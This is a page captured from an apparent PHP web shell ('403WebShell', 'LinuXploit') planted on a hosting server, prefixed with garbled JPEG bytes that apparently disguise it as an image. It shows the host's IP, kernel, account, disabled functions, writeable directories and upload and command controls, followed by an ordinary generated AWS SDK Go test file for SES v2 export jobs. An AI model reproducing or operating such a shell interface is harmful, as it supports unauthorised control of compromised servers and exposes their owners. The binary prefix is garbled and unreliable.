JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 185.124.137.90  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/./self/root/opt/go/pkg/mod/github.com/aws/aws-sdk-go@v1.55.5/service/sesv2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/./self/root/opt/go/pkg/mod/github.com/aws/aws-sdk-go@v1.55.5/service/sesv2/examples_test.go
// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT.

package sesv2_test

import (
	"fmt"
	"strings"
	"time"

	"github.com/aws/aws-sdk-go/aws"
	"github.com/aws/aws-sdk-go/aws/awserr"
	"github.com/aws/aws-sdk-go/aws/session"
	"github.com/aws/aws-sdk-go/service/sesv2"
)

var _ time.Duration
var _ strings.Reader
var _ aws.Config

func parseTime(layout, value string) *time.Time {
	t, err := time.Parse(layout, value)
	if err != nil {
		panic(err)
	}
	return &t
}

// Cancel export job
// Cancels the export job with ID ef28cf62-9d8e-4b60-9283-b09816c99a99
func ExampleSESV2_CancelExportJob_shared00() {
	svc := sesv2.New(session.New())
	input := &sesv2.CancelExportJobInput{
		JobId: aws.String("ef28cf62-9d8e-4b60-9283-b09816c99a99"),
	}

	result, err := svc.CancelExportJob(input)
	if err != nil {
		if aerr, ok := err.(awserr.Error); ok {
			switch aerr.Code() {
			case sesv2.ErrCodeNotFoundException:
				fmt.Println(sesv2.ErrCodeNotFoundException, aerr.Error())
			case sesv2.ErrCodeBadRequestException:
				fmt.Println(sesv2.ErrCodeBadRequestException, aerr.Error())
			case sesv2.ErrCodeTooManyRequestsException:
				fmt.Println(sesv2.ErrCodeTooManyRequestsException, aerr.Error())
			default:
				fmt.Println(aerr.Error())
			}
		} else {
			// Print the error, cast err to awserr.Error to get the Code and
			// Message from an error.
			fmt.Println(err.Error())
		}
		return
	}

	fmt.Println(result)
}

// Create Metrics export job
// Creates a new export job for Metrics data
func ExampleSESV2_CreateExportJob_shared00() {
	svc := sesv2.New(session.New())
	input := &sesv2.CreateExportJobInput{
		ExportDataSource: &sesv2.ExportDataSource{
			MetricsDataSource: &sesv2.MetricsDataSource{
				Dimensions: map[string][]*string{
					"ISP": {
						aws.String("*"),
					},
				},
				EndDate: parseTime("2006-01-02T15:04:05.999999999Z", "2023-07-02T00:00:00"),
				Metrics: []*sesv2.ExportMetric{
					{
						Aggregation: aws.String("VOLUME"),
						Name:        aws.String("SEND"),
					},
					{
						Aggregation: aws.String("VOLUME"),
						Name:        aws.String("COMPLAINT"),
					},
					{
						Aggregation: aws.String("RATE"),
						Name:        aws.String("COMPLAINT"),
					},
				},
				Namespace: aws.String("VDM"),
				StartDate: parseTime("2006-01-02T15:04:05.999999999Z", "2023-07-01T00:00:00"),
			},
		},
		ExportDestination: &sesv2.ExportDestination{
			DataFormat: aws.String("CSV"),
		},
	}

	result, err := svc.CreateExportJob(input)
	if err != nil {
		if aerr, ok := err.(awserr.Error); ok {
			switch aerr.Code() {
			case sesv2.ErrCodeBadRequestException:
				fmt.Println(sesv2.ErrCodeBadRequestException, aerr.Error())
			case sesv2.ErrCodeTooManyRequestsException:
				fmt.Println(sesv2.ErrCodeTooManyRequestsException, aerr.Error())
			case sesv2.ErrCodeNotFoundException:
				fmt.Println(sesv2.ErrCodeNotFoundException, aerr.Error())
			case sesv2.ErrCodeLimitExceededException:
				fmt.Println(sesv2.ErrCodeLimitExceededException, aerr.Error())
			default:
				fmt.Println(aerr.Error())
			}
		} else {
			// Print the error, cast err to awserr.Error to get the Code and
			// Message from an error.
			fmt.Println(err.Error())
		}
		return
	}

	fmt.Println(result)
}

// Create Message Insights export job
// Creates a new export job for Message Insights data
func ExampleSESV2_CreateExportJob_shared01() {
	svc := sesv2.New(session.New())
	input := &sesv2.CreateExportJobInput{
		ExportDataSource: &sesv2.ExportDataSource{
			MessageInsightsDataSource: &sesv2.MessageInsightsDataSource{
				EndDate: parseTime("2006-01-02T15:04:05.999999999Z", "2023-07-02T00:00:00"),
				Exclude: &sesv2.MessageInsightsFilters{
					FromEmailAddress: []*string{
						aws.String("hello@example.com"),
					},
				},
				Include: &sesv2.MessageInsightsFilters{
					Subject: []*string{
						aws.String("Hello"),
					},
				},
				StartDate: parseTime("2006-01-02T15:04:05.999999999Z", "2023-07-01T00:00:00"),
			},
		},
		ExportDestination: &sesv2.ExportDestination{
			DataFormat: aws.String("CSV"),
		},
	}

	result, err := svc.CreateExportJob(input)
	if err != nil {
		if aerr, ok := err.(awserr.Error); ok {
			switch aerr.Code() {
			case sesv2.ErrCodeBadRequestException:
				fmt.Println(sesv2.ErrCodeBadRequestException, aerr.Error())
			case sesv2.ErrCodeTooManyRequestsException:
				fmt.Println(sesv2.ErrCodeTooManyRequestsException, aerr.Error())
			case sesv2.ErrCodeNotFoundException:
				fmt.Println(sesv2.ErrCodeNotFoundException, aerr.Error())
			case sesv2.ErrCodeLimitExceededException:
				fmt.Println(sesv2.ErrCodeLimitExceededException, aerr.Error())
			default:
				fmt.Println(aerr.Error())
			}
		} else {
			// Print the error, cast err to awserr.Error to get the Code and
			// Message from an error.
			fmt.Println(err.Error())
		}
		return
	}

	fmt.Println(result)
}

// Get export job
// Gets the export job with ID ef28cf62-9d8e-4b60-9283-b09816c99a99
func ExampleSESV2_GetExportJob_shared00() {
	svc := sesv2.New(session.New())
	input := &sesv2.GetExportJobInput{
		JobId: aws.String("ef28cf62-9d8e-4b60-9283-b09816c99a99"),
	}

	result, err := svc.GetExportJob(input)
	if err != nil {
		if aerr, ok := err.(awserr.Error); ok {
			switch aerr.Code() {
			case sesv2.ErrCodeBadRequestException:
				fmt.Println(sesv2.ErrCodeBadRequestException, aerr.Error())
			case sesv2.ErrCodeNotFoundException:
				fmt.Println(sesv2.ErrCodeNotFoundException, aerr.Error())
			case sesv2.ErrCodeTooManyRequestsException:
				fmt.Println(sesv2.ErrCodeTooManyRequestsException, aerr.Error())
			default:
				fmt.Println(aerr.Error())
			}
		} else {
			// Print the error, cast err to awserr.Error to get the Code and
			// Message from an error.
			fmt.Println(err.Error())
		}
		return
	}

	fmt.Println(result)
}

// Get Message Insights
// Provides information about a specific message.
func ExampleSESV2_GetMessageInsights_shared00() {
	svc := sesv2.New(session.New())
	input := &sesv2.GetMessageInsightsInput{
		MessageId: aws.String("000000000000ab00-0a000aa0-1234-0a0a-1234-0a0aaa0aa00a-000000"),
	}

	result, err := svc.GetMessageInsights(input)
	if err != nil {
		if aerr, ok := err.(awserr.Error); ok {
			switch aerr.Code() {
			case sesv2.ErrCodeNotFoundException:
				fmt.Println(sesv2.ErrCodeNotFoundException, aerr.Error())
			case sesv2.ErrCodeTooManyRequestsException:
				fmt.Println(sesv2.ErrCodeTooManyRequestsException, aerr.Error())
			case sesv2.ErrCodeBadRequestException:
				fmt.Println(sesv2.ErrCodeBadRequestException, aerr.Error())
			default:
				fmt.Println(aerr.Error())
			}
		} else {
			// Print the error, cast err to awserr.Error to get the Code and
			// Message from an error.
			fmt.Println(err.Error())
		}
		return
	}

	fmt.Println(result)
}

// List export jobs
// Lists export jobs of type METRICS_DATA and status PROCESSING
func ExampleSESV2_ListExportJobs_shared00() {
	svc := sesv2.New(session.New())
	input := &sesv2.ListExportJobsInput{
		ExportSourceType: aws.String("METRICS_DATA"),
		JobStatus:        aws.String("PROCESSING"),
		PageSize:         aws.Int64(25),
	}

	result, err := svc.ListExportJobs(input)
	if err != nil {
		if aerr, ok := err.(awserr.Error); ok {
			switch aerr.Code() {
			case sesv2.ErrCodeTooManyRequestsException:
				fmt.Println(sesv2.ErrCodeTooManyRequestsException, aerr.Error())
			case sesv2.ErrCodeBadRequestException:
				fmt.Println(sesv2.ErrCodeBadRequestException, aerr.Error())
			default:
				fmt.Println(aerr.Error())
			}
		} else {
			// Print the error, cast err to awserr.Error to get the Code and
			// Message from an error.
			fmt.Println(err.Error())
		}
		return
	}

	fmt.Println(result)
}

// Used to convert a dedicated IP pool to a different scaling mode.
// This example converts a dedicated IP pool from STANDARD to MANAGED.
func ExampleSESV2_PutDedicatedIpPoolScalingAttributes_shared00() {
	svc := sesv2.New(session.New())
	input := &sesv2.PutDedicatedIpPoolScalingAttributesInput{
		PoolName:    aws.String("sample-ses-pool"),
		ScalingMode: aws.String("MANAGED"),
	}

	result, err := svc.PutDedicatedIpPoolScalingAttributes(input)
	if err != nil {
		if aerr, ok := err.(awserr.Error); ok {
			switch aerr.Code() {
			case sesv2.ErrCodeNotFoundException:
				fmt.Println(sesv2.ErrCodeNotFoundException, aerr.Error())
			case sesv2.ErrCodeConcurrentModificationException:
				fmt.Println(sesv2.ErrCodeConcurrentModificationException, aerr.Error())
			case sesv2.ErrCodeTooManyRequestsException:
				fmt.Println(sesv2.ErrCodeTooManyRequestsException, aerr.Error())
			case sesv2.ErrCodeBadRequestException:
				fmt.Println(sesv2.ErrCodeBadRequestException, aerr.Error())
			default:
				fmt.Println(aerr.Error())
			}
		} else {
			// Print the error, cast err to awserr.Error to get the Code and
			// Message from an error.
			fmt.Println(err.Error())
		}
		return
	}

	fmt.Println(result)
}

Youez - 2016 - github.com/yon3zu
LinuXploit